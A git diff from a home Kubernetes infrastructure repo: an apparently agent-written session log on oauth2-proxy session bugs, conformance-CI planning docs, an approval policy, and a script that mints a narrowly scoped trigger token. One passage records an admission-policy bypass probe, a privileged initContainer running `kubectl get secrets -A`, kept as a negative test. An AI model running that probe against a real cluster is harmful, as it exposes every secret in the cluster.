+  `startTime=2026-09-30T03:57:19Z`, `restarts=0`, live args `--cookie-name=_oauth2_proxy_crafty` and
+  `--cookie-domain=crafty.home.keithjackson.dev`. Over that pod's whole lifetime: **3**
+  `No valid authentication`, 0 AuthSuccess, one client IP, 2 of the 3 on `/ws`. The 81:1 figure is a
+  24 h window over a 13.9 h pod and is dominated by the pre-fix process.
+- **The ratio metric ranks chattiness, not breakage.** Radarr 156:1 with the top paths being
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/messages/negotiate` — UI polling, not 156
+  distinct user-visible failures.
+- **No per-app sidecar exposes metrics.** `--metrics-address` is `(ABSENT)` and `ports` is
+  `['http']` on all six per-app sidecars; only the shared proxy has
+  `--metrics-address=0.0.0.0:44180` and a `metrics` port.
+- **Gate:** `./ci/gate.sh` in the pinned toolbox, **rc 3 — UNDETERMINED, not green**. Green:
+  `spec-immutability`, `approval-policy`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`.
+  Skipped: `gitea-settings` (no `SETTINGS_API_TOKEN`) and L2/L3 conformance (`CLUSTER_AVAILABLE`
+  unset), leaving touched requirement `R-OBS-04` uncertified. Note `spec-immutability` is **green**,
+  not skipped — mounting the sibling spec repo at `/home-network-k3s` (the path
+  `ci/spec-immutability.sh` actually defaults to) in the ENGINE shim fixes that skip; the commonly
+  circulated shim mounts it at its host path, where `SPEC_REPO` never finds it.
+- **Gitea CI on this PR, read from the commit's `/statuses` rather than from a tick.** Two contexts
+  reported, and **only one of them ran**:
+
+      gate / gate (pull_request)         state=success   desc='Successful in 1m41s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  That second line is §2b's trap in the wild: a **skipped** Gitea job reports `state=success`. The
+  conformance job did not execute, so the green tick beside it certifies nothing. Read together with
+  the local rc 3 above, the two agree exactly — the offline L0/L1 subset passed and L2/L3 never ran.
+  Anyone reading the PR's check mark alone would conclude otherwise.
+- **`main` is protected**, re-measured this session rather than assumed:
+  `GET /repos/.../branches/main` → `protected=true`, `user_can_push=false`.
+
+## What I did NOT verify
+
+- **The operator's problem is NOT FIXED by this branch.** Only the diagnosis and the runbook land.
+  Jackett's sidecar is unchanged and will keep losing its session to Radarr until the renderer
+  change ships. **This is the single most important line in this entry.**
+- **No browser round-trip.** Every mechanism is measured from logs and specs and the argument list
+  is proven to start, but nobody has added an indexer through the proposed configuration. The human
+  test is below, for whoever lands the renderer change.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still `jackett-c5bfcbfb8-c75f9` (2/2 Running, 17 d, 0 restarts — unchanged by this session's
+  read-only probes). Note that when the fix does land, merging is what deploys, and it will restart
+  the pod (`strategy: Recreate` on an RWO Longhorn volume), briefly interrupting Radarr's and
+  Sonarr's direct `:9117` access.
+- **Cookie size and chunking: UNMEASURED, and I will not claim either way.** I could not read a
+  `Set-Cookie` header without a browser. I found no `_oauth2_proxy_0`/`_1` chunk evidence and no
+  4 kB warning in 36,287 log lines — but I did **not** establish that v7.8.1 emits such a warning at
+  this log level, so that absence is not evidence. If sessions still misbehave after the fix lands,
+  this is the next thing to measure, with `--session-store-type=redis` as the escape hatch, since
+  `--session-cookie-minimal` is ruled out (above).
+- **`--cookie-refresh=2m30s` has never executed a refresh here.** It depends on Keycloak accepting
+  the refresh token and on the realm's SSO Session Idle/Max, none of which I read (that needs admin
+  credentials). If Keycloak's *refresh* token is also short-lived, the five-minute logout persists
+  and the realm is where to look next.
+- **`--api-route` is measured for Jackett only.** PiHole and qBittorrent were not measured, and
+  PiHole's UI does not serve `/api/`. Do not apply it renderer-wide on my evidence.
+- **The four sibling apps still collide with each other** regardless of what happens to Jackett.
+  The same operator report should be expected from any of pihole / qbittorrent / radarr / sonarr.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so nothing about runtime behaviour
+  is certified by the gate. `gitea-settings` also skipped, so branch protection and runner state are
+  **unverified by me this session** — I did not re-measure them against the Gitea API.
+- **I did not query Loki.** The Crafty bounding above comes from the pod log, which I argue is the
+  better instrument (an exact process boundary rather than a wall-clock window against a 72 h
+  retention). But it means I cannot speak to the 24 h or 12 h *platform-wide* ratios, and a
+  per-app ratio over a window longer than the current pod's life is not something I measured at all.
+- **Collision causation is one adjacency, not a population.** The 15:31:29 → 15:31:32 pair is three
+  seconds and the mechanism is documented and present, but I did not enumerate every jackett failure
+  and match it to a radarr ClearSession. Treat mechanism 1 as **necessary and firing, not proven
+  sufficient** — the coordinator's framing, and I agree with it on this evidence.
+- **The metrics change is NOT in this branch** (reason above). Jackett therefore remains inside the
+  oauth2-proxy metrics gap, and the ratio alert shipped in PR #29 still cannot see it.
+- **The runbook's commands were not all executed verbatim.** The log-reading ones I ran; the
+  per-namespace `for` loops are edited from the scripted forms I actually used.
+
+### The human test — for whoever lands the renderer fix
+
+After it merges and the pod rolls (watch for a **new** pod name at 2/2):
+
+1. **Sign in** at `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+2. **Open Radarr in a second tab** and sign in there too. **This is the step that breaks Jackett
+   today** — it is the 15:31:29 line. Return to the Jackett tab.
+3. **Add an indexer** — *+ Add indexer*, pick one, *Configure*, *Okay*. It must save.
+4. **Wait six minutes on the open dashboard, then save another.** That is the `--cookie-refresh`
+   test; the session currently dies at five.
+5. **If something does still fail, it must now fail LOUDLY** — DevTools → Network, a broken `/api/`
+   call shows **401**, not a 302 followed by HTML. A silent success-looking no-op means the change
+   did not take; check the running pod's args before assuming anything else.
+6. **A plain page reload must still sign you in silently** (`/UI/Dashboard` is outside `^/api/`).
+   A 401 page on reload means the regex is too broad — that is a regression.

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
 | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
 | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
 | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
-| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
+| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
 | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
 
 ## 3. Gaps to close (functional)
 
-1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
+1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
+   `conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
+   0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
+   entrypoint path and the Job pins that uid — see §4.)*
+   `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
    python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
    `./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
    `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
    pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
    `CHAINSAW_VERSION` as the single source of truth the image is built from.
-2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
+2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
+   Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
+   args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
+   item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
+   **assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
+   substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
+   clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
+   constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
+   `conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
+   token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
+   only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
+   install the entrypoint at that exact path) and provision that Secret (item 6).
+   Original text: → Add an
    **init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
    into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
    `--requirements` are injected by the CI trigger step as Job env/args.
-3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
+3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
+   `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
+   still ships its red JUnit — that prints the artifact tree as a base64 tar between
+   `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
+   line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
+   collection instead of decoding to plausible garbage; the five checks the collector owes are
+   spelled out above that function. It lives in `run.sh` and not in the Job because admission
+   pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
+   head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
+   each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
    volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
    base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
    `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
 
 - SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
   `jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
+- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
+  `containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
+  `volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
+  `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
+  **ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
+  `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
+  same. Both are now covered by
+  `trigger-initcontainers-must-be-the-committed-clone-step` and
+  `trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
+  **The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
+  field that can carry executable intent, and a `pattern` over an array only asserts *at least
+  one element matches* — use `deny` conditions and cap the count. Also note the residual: no
+  rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
 - A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
   `system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
   committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,

infra/gitea/README.md

@@ -102,7 +102,19 @@ Behaviour, proven by test rather than assumed:
 |---|---|---|
 | live matches the declaration | 0 | green |
 | any key drifted, or no runner online | 1 | **blocks the merge** |
-| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
+
+> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
+> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
+> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
+> inert-detector story, so the wrong name surviving here is worth correcting rather than
+> reading past. Measured in `ci/gitea-settings.sh`:
+>
+>     TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+>
+> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
+> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
+> created. In CI, only `SETTINGS_API_TOKEN` exists.
 
 The skip is deliberately *not* a block: an unwired credential blocking every PR is the
 lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
@@ -112,6 +124,59 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
 **Changing the declaration is how you change policy.** If the live state is what you now want,
 edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
 
+## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
+
+Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
+ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
+kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
+and only on request — set `vars.CLUSTER_AVAILABLE=true`.
+
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run   # measure only; writes nothing
+    ./infra/gitea/conformance-trigger-kubeconfig.sh             # mint + store the secret
+    ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available   # + the variable
+
+Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
+printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
+(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
+`set -x`.
+
+**Its preconditions are split in two, and the split is the point.**
+
+| Class | Checks | Blocks |
+|---|---|---|
+| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
+| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
+
+Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
+token that can `create jobs` in `conformance` can run arbitrary code as the privileged
+`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
+while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
+
+Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
+trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
+running this today provisions the secret and then **refuses to arm the variable**, naming the
+missing item.
+
+**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
+trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
+"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
+now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
+`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
+nothing happens.
+
+Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
+read the object back. For the secret that proves presence by name only (Gitea never returns
+secret values); for the variable it proves the value is exactly `true`, which is what
+`gate.yml` compares against.
+
+The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
+to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
+rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
+
+`--server` exists because the embedded API-server URL must be reachable **from the CI runner
+pod** — the VIP — which is not necessarily the address your workstation uses. The script
+refuses a loopback server outright.
+
 ### Why these scripts exist at all, and what is still missing
 
 Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -124,8 +189,9 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
 **detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
 root cause of the 2026-09-29 session.
 
-It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
-detector detects nothing. That is the remaining step.
+It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
+detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
+it. The name matters — see the note under the behaviour table above.)
 
 ## Historical sequence (kept for context)
 

infra/gitea/approval-policy.json

@@ -0,0 +1,28 @@
+{
+  "_intent": "The CI/CD pipeline is the approver. A human approval is required ONLY for changes that alter what the pipeline itself verifies, or the security posture it rests on -- because those are the changes CI cannot honestly gate: a PR that weakens the gate would be approved by the weakened gate.",
+  "_rule": "If a PR touches any sensitive_paths glob, it needs an APPROVED review from someone who is not its author. Everything else merges on a green gate alone.",
+  "_on_failure_to_evaluate": "BLOCK. Unlike gitea-settings, a skip here is a bypass, not a gap.",
+  "sensitive_paths": [
+    "ci/**",
+    ".gitea/**",
+    "conformance/**",
+    "clusters/**",
+    "bootstrap/**",
+    "infra/gitea/**",
+    "platform/kyverno/**",
+    "platform-config/kustomization.yaml",
+    ".sops.yaml",
+    "**/*.sops.yaml",
+    "**/rbac.yaml",
+    "CLAUDE.md"
+  ],
+  "_why_each": {
+    "ci/**, .gitea/**": "the pipeline itself -- the thing doing the approving",
+    "conformance/**": "the tests and the harness; changing them changes what green MEANS",
+    "clusters/**, bootstrap/**": "Flux wiring -- what reconciles, in what order, with what substitution",
+    "infra/gitea/**, platform-config/kustomization.yaml": "branch protection, the drift detector, and the list that decides which admission policies are actually applied",
+    "platform/kyverno/**": "the admission policy engine",
+    ".sops.yaml, **/*.sops.yaml, **/rbac.yaml": "encryption recipients, secrets, and cluster authority",
+    "CLAUDE.md": "the delivery contract agents follow"
+  }
+}

infra/gitea/conformance-trigger-kubeconfig.sh

@@ -0,0 +1,575 @@
+#!/usr/bin/env bash
+# infra/gitea/conformance-trigger-kubeconfig.sh
+#
+# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
+# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
+# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
+#
+# What it does, in order:
+#   1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
+#   2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
+#      `conformance` (kubectl create token -> TokenRequest API)
+#   3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
+#   4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
+#   5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
+#      VERIFIES the store by reading the secret list back
+#   6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
+#      precondition green, and only after a typed confirmation. Otherwise it REFUSES.
+#
+# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
+# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
+# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
+# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
+#
+# ----------------------------------------------------------------------------------------
+# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
+# ----------------------------------------------------------------------------------------
+# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
+#    `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
+#    name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
+#    GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
+#    .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
+#
+# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
+#    to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
+#    knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
+#    the object back afterwards. A store is not claimed unless the read-back shows it.
+#
+# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
+#    `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
+#    cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
+#    trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
+#    FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
+#    case (exit 1), so today the variable does not enable L2/L3: it only changes which way
+#    the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
+#    every PR. This script refuses to do it.
+#
+# ----------------------------------------------------------------------------------------
+# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
+# ----------------------------------------------------------------------------------------
+# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
+# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
+# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
+# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
+# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
+# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
+# privileged identity. So those checks block the MINT itself — nothing is created if they
+# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
+#
+# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
+# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
+# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
+# conformance job is gated on the variable and never starts — and the plan explicitly lands
+# the secret before the switch. So these checks block ONLY the variable.
+#
+# Net effect: you can safely run this script today to provision the secret. It will then
+# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
+#
+# ----------------------------------------------------------------------------------------
+# USAGE
+# ----------------------------------------------------------------------------------------
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run
+#         Read-only. Measures every precondition, mints nothing, writes nothing.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh [--server URL]
+#         Mint + store the secret. Does NOT touch CLUSTER_AVAILABLE.
+#   ./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available
+#         The above, then set vars.CLUSTER_AVAILABLE=true after a typed confirmation —
+#         refused unless every precondition is green.
+#
+# Options:
+#   --dry-run                 measure only; no TokenRequest, no PUT/POST
+#   --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded)
+#   --server URL              API server URL to embed (default: the operator context's own)
+#   --context NAME            kube context to read the CA/server from (default: k3s-prod)
+#   --duration D              requested token lifetime (default: 720h = 30d)
+#   -h | --help               this text
+#
+# ON --server: the embedded server URL must be reachable FROM THE CI RUNNER POD, which is
+# not necessarily the address your workstation uses. The runner has broad egress and reaches
+# the kube-API VIP (per the plan: 192.168.1.49:6443). If your operator kubeconfig points at
+# a workstation-only name or a localhost tunnel, pass --server explicitly; the script warns
+# on a loopback server but cannot know your topology for you.
+#
+# ON TOKEN LIFETIME: this is a TokenRequest token and it EXPIRES. The API server may cap the
+# requested duration, so the script decodes the JWT `exp` claim and reports the ACTUAL
+# expiry rather than trusting --duration. Re-run this script to rotate. After expiry the
+# trigger gets 401 and the conformance stage FAILS (loudly) rather than skipping — which is
+# the correct direction, but put the expiry date in your calendar.
+#
+# DELIBERATELY NOT DONE: SOPS-sealing the token into secrets/conformance-trigger.sops.yaml
+# (plan §3 item 6's "for reproducibility/rotation"). A bearer token with a 30-day life
+# cannot usefully survive the branch -> PR -> review -> merge flow (CLAUDE.md §6), and
+# committing one buys re-issuance we get for free by re-running this script against the
+# live SA. If the operator still wants it sealed, that is a separate reviewed change.
+#
+# FORBIDDEN HERE, ON PURPOSE: no cluster-admin kubeconfig, no copy of the operator's own
+# kubeconfig, no widening of conformance/incluster/rbac.yaml, no mutating kubectl beyond the
+# TokenRequest itself, no `kubectl apply`.
+set -euo pipefail
+
+# xtrace would print the token. Refuse rather than leak.
+case "$-" in
+  *x*) echo "FATAL: refusing to run under 'set -x' — xtrace would print the token" >&2; exit 1 ;;
+esac
+umask 077
+
+HOST=gitea.home.keithjackson.dev
+OWNER=Home-Network
+REPO=home-network-k3s-impl
+# Legal secret name: NOT prefixed GITEA_ (lesson 1), and the name the workflows already use.
+SECRET=CONFORMANCE_TRIGGER_KUBECONFIG
+VARIABLE=CLUSTER_AVAILABLE
+NS=conformance
+SA=conformance-trigger
+RUNNER_SA=conformance-runner
+POLICY=conformance-trigger-job-shape
+# The image prefix the admission policy admits. Kept in sync with
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml by the P2 check below.
+RUNNER_IMAGE_PREFIX='gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:'
+
+KCTX=k3s-prod
+DURATION=720h
+DRY_RUN=false
+ARM=false
+SERVER_OVERRIDE=""
+
+REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+
+step() { printf '\n==> %s\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+warn() { printf '    WARN: %s\n' "$*" >&2; }
+die()  { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+
+usage() {
+  cat <<'USAGE'
+conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
+
+  --dry-run                 measure every precondition; mint nothing, write nothing (read-only)
+  --arm-cluster-available   additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
+  --server URL              API server URL to embed (default: the operator context's own;
+                            must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
+  --context NAME            kube context to read the CA/server from (default: k3s-prod)
+  --duration D              requested token lifetime (default: 720h)
+  -h | --help               this text
+
+Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
+mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
+USAGE
+}
+
+while [ $# -gt 0 ]; do
+  case "$1" in
+    --dry-run)               DRY_RUN=true ;;
+    --arm-cluster-available) ARM=true ;;
+    --server)                SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
+    --context)               KCTX="${2:?--context needs a name}"; shift ;;
+    --duration)              DURATION="${2:?--duration needs a value}"; shift ;;
+    -h|--help)               usage; exit 0 ;;
+    *)                       die "unknown argument: $1 (try --help)" ;;
+  esac
+  shift
+done
+if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
+
+for t in kubectl jq curl git base64; do
+  command -v "$t" >/dev/null || die "missing required tool: $t"
+done
+
+WORK="$(mktemp -d)"
+KC="${WORK}/conformance-trigger.kubeconfig"
+cleanup() { rm -rf "$WORK"; }
+trap cleanup EXIT
+trap 'cleanup; exit 130' INT TERM
+
+# ========================================================================================
+# 0. Gitea credentials — from the credential helper git already has for this host, exactly
+#    as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
+#    reads them from a --config file descriptor.
+# ========================================================================================
+creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
+U="$(sed -n 's/^username=//p' <<<"$creds")"
+P="$(sed -n 's/^password=//p' <<<"$creds")"
+unset creds
+[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
+basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
+API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
+
+# ========================================================================================
+# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
+#    Two independent tallies, per the split documented in the header.
+# ========================================================================================
+MINT_FAIL=0
+ARM_FAIL=0
+pass()      { printf '    [ ok ]   %s\n' "$*"; }
+fail_mint() { printf '    [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
+fail_arm()  { printf '    [ARM-BLOCK]  %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
+
